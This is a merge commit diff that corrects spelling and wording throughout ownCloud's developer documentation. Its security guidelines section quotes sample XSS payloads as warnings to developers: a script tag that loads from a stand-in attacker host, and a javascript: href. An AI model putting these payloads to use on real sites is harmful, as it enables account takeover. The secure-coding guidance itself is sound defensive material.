Merge pull request #362 from owncloud/dev-man-update

Development man update
This commit is contained in:
Bernhard Posselt
2014-05-31 16:41:28 +02:00
25 changed files with 82 additions and 82 deletions

View File

@@ -4,7 +4,7 @@ RESTful API
.. sectionauthor:: Bernhard Posselt <dev@bernhard-posselt.com>
Offering a RESTful API is not different from creating a :doc:`route <routes>` and :doc:`controllers <controllers>` for the webinterface. It is recommended though to inherit from ApiController and add **@CORS** annotations to the methods so that `also web applications will be able to access the API <https://developer.mozilla.org/en-US/docs/Web/HTTP/Access_control_CORS>`_.
Offering a RESTful API is not different from creating a :doc:`route <routes>` and :doc:`controllers <controllers>` for the web interface. It is recommended though to inherit from ApiController and add **@CORS** annotations to the methods so that `also web applications will be able to access the API <https://developer.mozilla.org/en-US/docs/Web/HTTP/Access_control_CORS>`_.
.. code-block:: php
@@ -29,7 +29,7 @@ Offering a RESTful API is not different from creating a :doc:`route <routes>` an
}
CORS also needs a seperate url for the preflighted **OPTIONS** request that easily be added by adding the following route:
CORS also needs a separate URL for the preflighted **OPTIONS** request that easily be added by adding the following route:
.. code-block:: php
@@ -76,4 +76,4 @@ To add an additional method or header or allow less headers, simply pass additio
1728000);
}
}
}

View File

@@ -34,6 +34,6 @@ Dont forget to configure the cron service on the server by executing::
sudo crontab -u http -e
where **http** is your webserver user, and add::
where **http** is your web server user, and add::
*/15 * * * * php -f /srv/http/owncloud/cron.php
*/15 * * * * php -f /srv/http/owncloud/cron.php

View File

@@ -155,11 +155,11 @@ Which classes should be added
In general all of the app's controllers need to be registered inside the container. Then following question is: What goes into the constructor of the controller? Pass everything into the controller constructor that is responsible matches one of the following criteria:
* It does I/O (database, write/read to files)
* It is a global (eg. $_POST, etc. This is in the request class btw)
* It is a global (e.g. $_POST, etc. This is in the request class by the way)
* The output does not depend on the input variables (also called `impure function <http://en.wikipedia.org/wiki/Pure_function>`_), e.g. time, random number generator
* It is a service, basically it would make sense to swap it out for a different object
What not to inject:
* It is pure data and has methods that only act upon it (arrays, data objects)
* It is a `pure function <http://en.wikipedia.org/wiki/Pure_function>`_
* It is a `pure function <http://en.wikipedia.org/wiki/Pure_function>`_

View File

@@ -110,7 +110,7 @@ All those parameters can easily be accessed by adding them to the controller met
}
It is also possible to set default parameter values by using PHP default method values so common values can be ommited:
It is also possible to set default parameter values by using PHP default method values so common values can be omitted:
.. code-block:: php
@@ -353,7 +353,7 @@ A :doc:`template <templates>` can be rendered by returning a TemplateResponse. A
$_['key']
* **renderAs**: defaults to *user*, tells ownCloud if it should include it in the webinterface, or in case *blank* is passed solely render the template
* **renderAs**: defaults to *user*, tells ownCloud if it should include it in the web interface, or in case *blank* is passed solely render the template
.. code-block:: php
@@ -395,7 +395,7 @@ A redirect can be achieved by returning a RedirectResponse:
Downloads
---------
A file download can be triggeredby returning a DownloadResponse:
A file download can be triggered by returning a DownloadResponse:
.. code-block:: php
@@ -449,7 +449,7 @@ Creating a custom XMLResponse class could look like this:
Handling errors
---------------
Sometimes a request should fail, for instance if an author with id 1 is requested but does not exist. In that case use an appropriate `HTTP error code <https://en.wikipedia.org/wiki/List_of_HTTP_status_codes#4xx_Client_Error>`_ to signal the client that an error occured.
Sometimes a request should fail, for instance if an author with id 1 is requested but does not exist. In that case use an appropriate `HTTP error code <https://en.wikipedia.org/wiki/List_of_HTTP_status_codes#4xx_Client_Error>`_ to signal the client that an error occurred.
Each response subclass has access to the **setStatus** method which lets you set an HTTP status code. To return a JSONResponse signaling that the author with id 1 has not been found, use the following code:
@@ -515,4 +515,4 @@ A controller method that turns of all checks would look like this:
}
}
}

View File

@@ -65,7 +65,7 @@ To create a settings area create a div with the id **app-settings** inside the *
</div>
</div>
The data attribute **data-apps-slide-toggle** slides up a taret area using a jQuery selector and hides the area if the user clicks outside of it.
The data attribute **data-apps-slide-toggle** slides up a target area using a jQuery selector and hides the area if the user clicks outside of it.
Icons
=====

View File

@@ -165,7 +165,7 @@ Mappers should be registered in the constructor to reuse them inside the applica
Entities
========
Entities are data objects that carry all the table's information for one row. Every Entity has an **id** field by default that is set to the integer type. Table rows are mapped from lower case and underscore seperated names to pascal case attributes:
Entities are data objects that carry all the table's information for one row. Every Entity has an **id** field by default that is set to the integer type. Table rows are mapped from lower case and underscore separated names to pascal case attributes:
* **Table column name**: phone_number
* **Property name**: phoneNumber
@@ -225,7 +225,7 @@ Since all attributes should be private, getters and setters are automatically ge
Slugs
-----
Slugs are used to identify resources in the URL by a string rather than integer id. Since the url allows only certain values, the entity baseclass provides a slugify method for it:
Slugs are used to identify resources in the URL by a string rather than integer id. Since the URL allows only certain values, the entity baseclass provides a slugify method for it:
.. code-block:: php

View File

@@ -42,7 +42,7 @@ Filesystem classes can be injected from the ServerContainer by calling the metho
Writing to a file
=================
All methods return a Folder object on which files and folders can be accessed, or filesystem operatoins can be performed relatively to their root. For instance for writing to file:`owncloud/data/myfile.txt` you should get the root folder and use:
All methods return a Folder object on which files and folders can be accessed, or filesystem operations can be performed relatively to their root. For instance for writing to file:`owncloud/data/myfile.txt` you should get the root folder and use:
.. code-block:: php
@@ -108,4 +108,4 @@ Files and folders can also be accessed by id, by calling the **getById** method
throw new StorageException('File does not exist');
}
}
}
}

View File

@@ -4,7 +4,7 @@ Hooks
.. sectionauthor:: Bernhard Posselt <dev@bernhard-posselt.com>
Hooks are used to execute code before or after an event has occured. This is for instance useful to run cleanup code after users, groups or files have been deleted. Hooks should be registered in the :doc:`app.php <init>`:
Hooks are used to execute code before or after an event has occurred. This is for instance useful to run cleanup code after users, groups or files have been deleted. Hooks should be registered in the :doc:`app.php <init>`:
.. code-block:: php
@@ -14,7 +14,7 @@ Hooks are used to execute code before or after an event has occured. This is for
$app = new Application();
$app->getContainer()->query('UserHooks')->register();
The hook logic should be in a seperate class that is being registered in the :doc:`container`
The hook logic should be in a separate class that is being registered in the :doc:`container`
.. code-block:: php
@@ -159,4 +159,4 @@ Filesystem Scanner
Filesystem scanner hooks available in scope **\\OC\\Utils\\Scanner**:
* **scanFile** (string $absolutePath)
* **scanFolder** (string $absolutePath)
* **scanFolder** (string $absolutePath)

View File

@@ -16,7 +16,7 @@ The :file:`appinfo/info.xml` contains metadata about the app:
<version>1.0</version>
<licence>AGPL</licence>
<author>Your Name</author>
<require>5</require>
<requiremin>5</requiremin>
<types>
<type>filesystem</type>
@@ -47,7 +47,7 @@ The :file:`appinfo/info.xml` contains metadata about the app:
id
--
**Required**: This field contains the internal app name, and has to be the same as the foldername of the app. This id needs to be unique in ownCloud, meaning no other app should have this id.
**Required**: This field contains the internal app name, and has to be the same as the folder name of the app. This id needs to be unique in ownCloud, meaning no other app should have this id.
name
----
@@ -74,7 +74,7 @@ author
------
**Required**: The name of the app author or authors.
require
requiremin
-------
**Required**: The minimal version of ownCloud.
@@ -98,10 +98,10 @@ website
-------
link to project webpage
Depcrecated
Deprecated
===========
The following sections are just listed for reference and should not be use because
The following sections are just listed for reference and should not be used because
* **public/remote**: Use :doc:`api` instead because you'll have to use :doc:`../core/externalapi` which is known to be buggy (works only properly with GET/POST)
* **standalone/default_enable**: They tell core what do on setup, you will not be able to even activate your app if it has those entries. This should be replaced by a config file inside core.

View File

@@ -8,7 +8,7 @@ ownCloud's translation system is powered by `Transifex <https://www.transifex.co
PHP
===
Should it ever be needed to use localized strings on the serverside simply inject the L10N service from the ServerContainer into the needed constructor
Should it ever be needed to use localized strings on the server-side, simply inject the L10N service from the ServerContainer into the needed constructor
.. code-block:: php
@@ -97,7 +97,7 @@ In every template the global variable **$l** can be used to translate the string
JavaScript
==========
There is currently no good way to translate JavaScript strings. One way to still use translated strings in the scripts is to create an invisble HTML element with all the translations in it which can be parsed in the JavaScript code:
There is currently no good way to translate JavaScript strings. One way to still use translated strings in the scripts is to create an invisible HTML element with all the translations in it which can be parsed in the JavaScript code:
.. code-block:: php
@@ -119,4 +119,4 @@ If Transifex is not the right choice or the app is not accepted for translation,
The translation script requires **Locale::PO** and **gettext**, installable via::
apt-get install liblocale-po-perl gettext
apt-get install liblocale-po-perl gettext

View File

@@ -144,4 +144,4 @@ Now adjust the container to inject the reflector:
}
.. note:: An annotation always starts with an uppercase letter
.. note:: An annotation always starts with an uppercase letter

View File

@@ -15,7 +15,7 @@ The following sections will present an overview over how that request is being p
Front controller
================
In the beginning, all requests are sent to ownCloud's :file:`index.php` which in turn executes :file:`lib/base.php`. This file inspects the HTTP headers and abstracts away differences between different webservers and initializes the basic classes. Afterwards the basic apps are being loaded in the following order:
In the beginning, all requests are sent to ownCloud's :file:`index.php` which in turn executes :file:`lib/base.php`. This file inspects the HTTP headers and abstracts away differences between different web servers and initializes the basic classes. Afterwards the basic apps are being loaded in the following order:
* Authentication backends
* Filesystem

View File

@@ -54,12 +54,12 @@ The route array contains the following parts:
}
* **method** (Optional, defaults to GET): The HTTP method that should be matched, (e.g. GET, POST, PUT, DELETE, HEAD, OPTIONS, PATCH)
* **requirements** (Optional): lets you match and extract urls that have slashes in them (see **Matching suburls**)
* **requirements** (Optional): lets you match and extract URLs that have slashes in them (see **Matching suburls**)
Extracting values from the URL
==============================
It is possible to extract values from the URL to allow RESTful url design. To extract a value, you have to wrap it inside curly braces:
It is possible to extract values from the URL to allow RESTful URL design. To extract a value, you have to wrap it inside curly braces:
.. code-block:: php
@@ -79,11 +79,11 @@ It is possible to extract values from the URL to allow RESTful url design. To ex
}
The identifier used inside the route is being passed into controller method by reflecting the method parameters. So basially if you want to get the value **{id}** in your method, you need to add **$id** to your method parameters.
The identifier used inside the route is being passed into controller method by reflecting the method parameters. So basically if you want to get the value **{id}** in your method, you need to add **$id** to your method parameters.
Matching suburls
================
Sometimes its needed to match more than one URL fragment. An example would be to match a request for all urls that start with **OPTIONS /index.php/apps/myapp/api**. To do this, use the **requirements** parameter in your route which is an array containing pairs of **'key' => 'regex'**:
Sometimes its needed to match more than one URL fragment. An example would be to match a request for all URLs that start with **OPTIONS /index.php/apps/myapp/api**. To do this, use the **requirements** parameter in your route which is an array containing pairs of **'key' => 'regex'**:
.. code-block:: php
@@ -114,7 +114,7 @@ When dealing with resources, writing routes can become quite repetitive since mo
* Update an entry
* Delete an entry
To prevent reptition, it's possible define resources. The following routes:
To prevent repetition, it's possible define resources. The following routes:
.. code-block:: php
@@ -152,7 +152,7 @@ can be abbreviated by using the **resources** key:
Using the URLGenerator
========================
Sometimes its useful to turn a route into a URL to make the code independent from the url design or to generate an URL for an image in **img/**. For that specific usecase the ServerContainer provides a service that can be used in your container:
Sometimes its useful to turn a route into a URL to make the code independent from the URL design or to generate an URL for an image in **img/**. For that specific use case, the ServerContainer provides a service that can be used in your container:
.. code-block:: php

View File

@@ -42,7 +42,7 @@ The parent variables will also be available in the included templates, but shoul
.. code-block:: php
<div>I am included but i can still access the parents variables!</div>
<div>I am included, but I can still access the parents variables!</div>
<?php p($_['name']); ?>
<?php print_unescaped($this->inc('other_template', array('variable' => 'value'))); ?>

View File

@@ -10,7 +10,7 @@ All PHP classes can be tested with `PHPUnit <http://phpunit.de/>`_, JavaScript c
PHP
===
The PHP tests go into the **tests/** directory. Unfortunately the classloader in core requires a running server (as in fully configured and setup up with a database connection). This is unfortunately too complicated and slow so a seperate classloader has to be provided. If the app has been generated with the **ocdev startapp** command, the classloader is already present in the the **tests/** directory and PHPUnit can be run with::
The PHP tests go into the **tests/** directory. Unfortunately the classloader in core requires a running server (as in fully configured and setup up with a database connection). This is unfortunately too complicated and slow so a separate classloader has to be provided. If the app has been generated with the **ocdev startapp** command, the classloader is already present in the the **tests/** directory and PHPUnit can be run with::
phpunit tests/
@@ -83,4 +83,4 @@ would look like this:
$this->container['AuthorStorage']->getContent(3);
}
}
}

View File

@@ -34,7 +34,7 @@ How will it work?
#. Before a pull request will be merged into master or the corresponding
branch at least 2 reviewers need to give :+1 score.
#. Our `continuous integration server`_ will give an additional indicator for
the quality of the pull rquest.
the quality of the pull request.
Examples
--------

View File

@@ -141,7 +141,7 @@ Why do we have it?
What does a developer think?
"Ill check the Scenario described earlier works as expected. If necessary
Ill update the related Gherkin Scenarios. `Jenkins`_ will test the scenario
on all kinds of platforms, webserver and database combinations with
on all kinds of platforms, web server and database combinations with
`cucumber`_."
When can I pull?
@@ -159,13 +159,13 @@ Why do we have it?
With the Gherkin Scenario from the Concept Phase reviewers have a checklist to
test if a Bug has been solved and if an Enhancement works as expected. **The
most eager reviewer we have is Jenkins**. When it comes to testing he soldiers
on going through the different combinations of platform, webserver and
on going through the different combinations of platform, web server and
database.
What does a developer think?
"Damn! If I had written the Gherkin Scenarios and Cucumber Step Definitions I
could leave the task of testing this on the different combinations of platform,
webserver and database to Jenkins. Ill miss something when doing this
web server and database to Jenkins. Ill miss something when doing this
manually.*
When can I pull?

View File

@@ -88,8 +88,8 @@ Statuscodes
~~~~~~~~~~~
The statuscode can be any of the following numbers:
* **100** - successfull
* **100** - successful
* **996** - server error
* **997** - not authorized
* **998** - not found
* **999** - unknown error
* **999** - unknown error

View File

@@ -6,19 +6,19 @@ Themes can relate to the following topics of owncloud:
* Theming the web-frontend
* Theming the owncloud Desktop client
This documentation contains only the Web-frontend adaptions so far.
This documentation contains only the Web-frontend adaptations so far.
Getting started
---------------
A good idea getting starting with a dynamically created website is to inspect it with **webdeveloper tools**, that are found in almost any browser. They show the generated HTML and the CSS Code, that the client/browser is recieving:
With this facts you can easyly determine, where the following object-related attributes for the phenomenons are settled:
A good idea getting starting with a dynamically created website is to inspect it with **web developer tools**, that are found in almost any browser. They show the generated HTML and the CSS Code, that the client/browser is receiving:
With this facts you can easily determine, where the following object-related attributes for the phenomenons are settled:
* place
* colour
* links
* graphics
In owncloud standard theme everything is held very simple. This allows you quick adpating. In an unchanged ownCloud version css files and the standard pictures reside in /owncloud/themes/default folder.
In owncloud standard theme everything is held very simple. This allows you quick adapting. In an unchanged ownCloud version CSS files and the standard pictures reside in /owncloud/themes/default folder.
The next thing you should do, before starting any changes is:
Make a backup of your current theme(s) e.g.:
@@ -43,7 +43,7 @@ Structure
The folder structure of a theme is exactly the same as the main ownCloud
structure. You can override js files, images and templates with own versions.
css files are loaded additionally to the default files so you can override css
CSS files are loaded additionally to the default files so you can override CSS
properties.
@@ -55,14 +55,14 @@ A new logo which you may want to insert can be added as follows:
Figure out the path of the old logo
-----------------------------------
Replace the old pictue, which postition you found out as described under 1.3. by adding an extension in case you want to re-use it later.
Replace the old picture, which position you found out as described under 1.3. by adding an extension in case you want to re-use it later.
Creating an own logo
--------------------
If you want to do a quick exchange like (1) it's important to know the size of the picture before you start creating an own logo:
* Go to the place in the filesystem, that has been shown by the webdeveloper tool/s
* Go to the place in the filesystem, that has been shown by the web developer tool/s
* You can look up sizing in most cases via the file properties inside your file-manager
* Create an own picture/logo with the same size then
@@ -73,15 +73,15 @@ The (main) pictures, that can be found inside ownCloud standard theming are the
Inserting your new logo
-----------------------
Inserting a new logo into an existing theme is as simple as replacing the old logo with the new (genreated) one.
Inserting a new logo into an existing theme is as simple as replacing the old logo with the new (generated) one.
You can use: scalable vector graphics (.svg) or common graphics formats for the internet such as portable network graphics (.png) or .jepg
Just insert the new created picture by using the unchanged name of the old picture.
changing the default colours
----------------------------
With a web-developer tool like Mozilla-Inspector, you also get easyly displayed the color of the background you klicked on.
On the top of the login page you can see a case- destinguished setting for different browsers:
With a web-developer tool like Mozilla-Inspector, you also get easily displayed the color of the background you clicked on.
On the top of the login page you can see a case- distinguished setting for different browsers:
.. code-block::
@@ -96,17 +96,17 @@ On the top of the login page you can see a case- destinguished setting for diffe
background: linear-gradient(top, #33537a 0%,#1d2d42 100%); /* W3C */
The different backround-assignements indicate the headers for a lot of different browser types. What you most likely want to do is change the #35537a (lighter blue) and #ld2d42 (dark blue) color to the colours of our choice. In some older and other browsers, there is just one color, but in the rest showing gradients is possible.
The different background-assignments indicate the headers for a lot of different browser types. What you most likely want to do is change the #35537a (lighter blue) and #ld2d42 (dark blue) color to the colours of our choice. In some older and other browsers, there is just one color, but in the rest showing gradients is possible.
The login page background is a horizontal gradient. The first hex number, #35537a, is the top color of the gradient at the login screen. The second hex number, #ld2d42 is the bottom color of the gradient at the login screen.
The gradient in top of the normal view after login is also defined by these css-settings, so that they take effect in logged in situation as well.
The gradient in top of the normal view after login is also defined by these CSS-settings, so that they take effect in logged in situation as well.
Change these colors to the hex color of your choice:
As usual:
* the first two figures give the intensity of the red channel,
* the second two give the green intensity and the
* tird pair gives the blue value.
* third pair gives the blue value.
Save your css-file and refresh to see the new login screen.
Save your CSS-file and refresh to see the new login screen.
The other major color scheme is the blue header bar on the main navigation page once you log in to ownCloud.
This color we will change with the above as well.
Save the file and refresh the browser for the changes to take effect.
@@ -117,7 +117,7 @@ Testing the new theme out
There are different options for doing so:
* If you're using a tool like the Inspector tools inside Mozilla, you can test out the CSS-Styles immediately inside the css-attributes, while looking at them.
* If you have a developing/testing server as desciribed in 1. you can test out the effects in a real environment permanently.
* If you have a developing/testing server as described in 1. you can test out the effects in a real environment permanently.
.. _GitHub themes repository: https://github.com/owncloud/themes
@@ -127,7 +127,7 @@ Notes for Updates
=================
In case of theming it is recommended to the user,
not to perform these adaptions inside the folder /themes/default.
not to perform these adaptations inside the folder /themes/default.
Please perform the following steps, to avoid conflicts with other upcoming updates:

View File

@@ -31,7 +31,7 @@ Then you can simply run the created test with phpunit.
.. note:: If you use owncloud functions in your class under test (i.e: OC::getUser()) you'll need to bootstrap owncloud or use dependency injection.
.. note:: You'll most likely run your tests under a different user than the webserver. This might cause problems with your PHP settings (i.e: open_basedir) and requires you to adjust your configuration.
.. note:: You'll most likely run your tests under a different user than the web server. This might cause problems with your PHP settings (i.e: open_basedir) and requires you to adjust your configuration.
An example for a simple test would be:
@@ -78,7 +78,7 @@ To do this, you'll need to provide the ``--bootstrap`` argument when running PHP
phpunit --bootstrap tests/bootstrap.php apps/myapp/tests/testsuite.php
If you run the test under a different user than your webserver, you'll have to
If you run the test under a different user than your web server, you'll have to
adjust your php.ini and file rights.
:file:`/etc/php/php.ini`::

View File

@@ -13,14 +13,14 @@ General
* Quotes: ' for everything, " for HTML attributes (<p class="my_class">)
* End of Lines : Unix style (LF / '\n') only
* No global variables or functions
* Unittests
* Unit tests
* Software should work. Only put features into master when they are complete. It's better to not have a feature instead of having one that works poorly.
* Regularly reset your installation to see how the first-run experience is like. And improve it.
* When you ``git pull``, always ``git pull --rebase`` to avoid generating extra commits like: *merged master into master*
* We need a signed contributor agreement from you to commit into the core repository. But no worries; it's a nice one. All the information is in our `Contributor agreement FAQ <http://owncloud.org/about/contributor-agreement>`_.
Userinterface
-------------
User interface
--------------
* Software should get out of the way. Do things automatically instead of offering configuration options.
* Software should be easy to use. Show only the most important elements. Secondary elements only on hover or via Advanced function.
* User data is sacred. Provide undo instead of asking for confirmation

View File

@@ -12,7 +12,7 @@ When debug mode is enabled ownCloud, a variety of debugging features are enabled
Identifying errors
------------------
ownCloud uses custom error PHP handling that prevents errors being printed to webserver log files or command line output. Instead, errors are generally stored in ownCloud's own log file, located at: :file:`/data/owncloud.log`
ownCloud uses custom error PHP handling that prevents errors being printed to web server log files or command line output. Instead, errors are generally stored in ownCloud's own log file, located at: :file:`/data/owncloud.log`
Debugging variables
@@ -32,7 +32,7 @@ not:
<?php trigger_error( "\$user = $user" ); // may not be logged anywhere ?>
To disable custom error handling in ownCloud (and have PHP and your webserver handle errors instead), see Debug mode.
To disable custom error handling in ownCloud (and have PHP and your web server handle errors instead), see Debug mode.
Debugging Javascript

View File

@@ -11,7 +11,7 @@ Please follow the steps on this page to set up your development environment.
Set up web server and database
==============================
First `set up your webserver and database <http://doc.owncloud.org/server/7.0/admin_manual/installation.html>`_ (**Section**: Manual Installation - Prerequisites).
First `set up your web server and database <http://doc.owncloud.org/server/7.0/admin_manual/installation.html>`_ (**Section**: Manual Installation - Prerequisites).
Get the source
==============
@@ -19,14 +19,14 @@ Get the source
There are two ways to obtain ownCloud sources:
* Using the `stable version <http://doc.owncloud.org/server/7.0/admin_manual/installation.html>`_
* Using the developement version from `GitHub`_ which will be explained below.
* Using the development version from `GitHub`_ which will be explained below.
To check out the source from `GitHub`_ you will need to install git (see `Setting up git <https://help.github.com/articles/set-up-git>`_ from the GitHub help)
Gather information about server setup
-------------------------------------
To get started the basic git repositories need to cloned into the webserver's directory. Depending on the distro this will either be
To get started the basic git repositories need to cloned into the web server's directory. Depending on the distribution this will either be
* **/var/www**
* **/var/www/html**

View File

@@ -56,14 +56,14 @@ An attacker might now easily send the user a link to::
app.php?username=<script src="attacker.tld"></script>
to overtake the user account. The same problem occurs when outputting content from the database or any other location that is writeable by users.
to overtake the user account. The same problem occurs when outputting content from the database or any other location that is writable by users.
Another attack vector that is often overlooked is XSS in **href** attributes. HTML allows to execute javascript in href attributes like this::
<a href="javascript:alert('xss')">
To prevent XSS in your app, **never use echo, print() or <\%=** - use **p()** instead which will sanitize the input. Also **validate urls to start with the expected protocol** (starts with http for instance)!
To prevent XSS in your app, **never use echo, print() or <\%=** - use **p()** instead which will sanitize the input. Also **validate URLs to start with the expected protocol** (starts with http for instance)!
.. note:: Should you ever require to print something unescaped, double check if it is really needed. If there is no other way (e.g. when including of subtemplates) use `print_unescaped` with care.
@@ -82,7 +82,7 @@ If you **really** want to use JavaScript for something like this use `escapeHTML
var html = '<li>' + escapeHTML(username) + '</li>';
An even better way to make your app safer is to use the jQuery builtin function **$.text()** instead of **$.html()**.
An even better way to make your app safer is to use the jQuery built-in function **$.text()** instead of **$.html()**.
**DON'T**
@@ -109,7 +109,7 @@ This is already built into ownCloud if :php:class:`OC_Template`.
Code executions / File inclusions
---------------------------------
Code Execution means that an attacker is able to include an arbitrary PHP file. This PHP file runs with all the privileges granted to the normal application and can do an enourmous amount of damage.
Code Execution means that an attacker is able to include an arbitrary PHP file. This PHP file runs with all the privileges granted to the normal application and can do an enormous amount of damage.
Code executions and file inclusions can be easily prevented by **never** allowing user-input to run through the following functions:
@@ -168,7 +168,7 @@ Shell Injection
.. note:: Please require/request additional programmers to audit your escape function.
Without escaping the user input this will allow an attacker to execute arbitary shell commands on your server.
Without escaping the user input this will allow an attacker to execute arbitrary shell commands on your server.
PHP offers the following functions to escape user input:
@@ -200,14 +200,14 @@ ownCloud offers three simple checks:
* **OCP\\JSON::checkAdminUser()**: Checks if the logged in user has admin privileges
* **OCP\\JSON::checkSubAdminUser()**: Checks if the logged in user has group admin privileges
Using the App Framework, these checks are already automatically performed for each request and have to be explicitely turned off by using annotations above your controller method, see :doc:`../app/controllers`.
Using the App Framework, these checks are already automatically performed for each request and have to be explicitly turned off by using annotations above your controller method, see :doc:`../app/controllers`.
Additionally always check if the user has the right to perform that action. (e.g. a user should not be able to delete other users' bookmarks).
Sensitive data exposure
-----------------------
Always store user data or configuration files in safe locations, e.g. **owncloud/data/** and not in the webroot where they can be accessed by anyone using a webbrowser.
Always store user data or configuration files in safe locations, e.g. **owncloud/data/** and not in the webroot where they can be accessed by anyone using a web browser.
Cross site request forgery
--------------------------
@@ -222,11 +222,11 @@ To prevent CSRF in an app, be sure to call the following method at the top of al
<?php
OCP\JSON::callCheck();
If you are using the App Framework, every controller method is automatically checked for CSRF unless you explicitely exclude it by setting the @NoCSRFRequired annotation before the controller method, see :doc:`../app/controllers`
If you are using the App Framework, every controller method is automatically checked for CSRF unless you explicitly exclude it by setting the @NoCSRFRequired annotation before the controller method, see :doc:`../app/controllers`
Unvalidated redirects
---------------------
This is more of an annoyance than a critical security vulnerability since it may be used for social engineering or phising.
This is more of an annoyance than a critical security vulnerability since it may be used for social engineering or phishing.
Always validate the URL before redirecting if the requested URL is on the same domain or an allowed ressource.

View File

@@ -13,7 +13,7 @@ Why do you want to join
-----------------------
There are many different setups and people have different interests. If you want ownCloud to run well on NginX for instance someone has to test this configuration.
Furthermore during bugfixing the ownCloud developers often do not have the possibility to reproduce the bug in a given environment nor they are able confirm that it was fixed. As a member of the Test Pilot Team you could act as a contact person for a specific area to help developers **fix the bugs you care about**.
Furthermore, during bug fixing the ownCloud developers often do not have the possibility to reproduce the bug in a given environment nor they are able confirm that it was fixed. As a member of the Test Pilot Team you could act as a contact person for a specific area to help developers **fix the bugs you care about**.
Another benefit is a more efficient relationship to the developers: **You know what people are responsible for which parts** and it is easier to get help.
@@ -37,7 +37,7 @@ For further questions or help you can also send a mail to:
What do you do
--------------
You will receive mails from the mailinglist and also from the bugtracker if developers need your help. Also there will be announcements of new releases and preview releases on the mailing list which give you the possibility to test releases early on and help developers to fix them.
You will receive mails from the mailinglist and also from the bug tracker if developers need your help. Also there will be announcements of new releases and preview releases on the mailing list which give you the possibility to test releases early on and help developers to fix them.
We are looking forward to working with you :)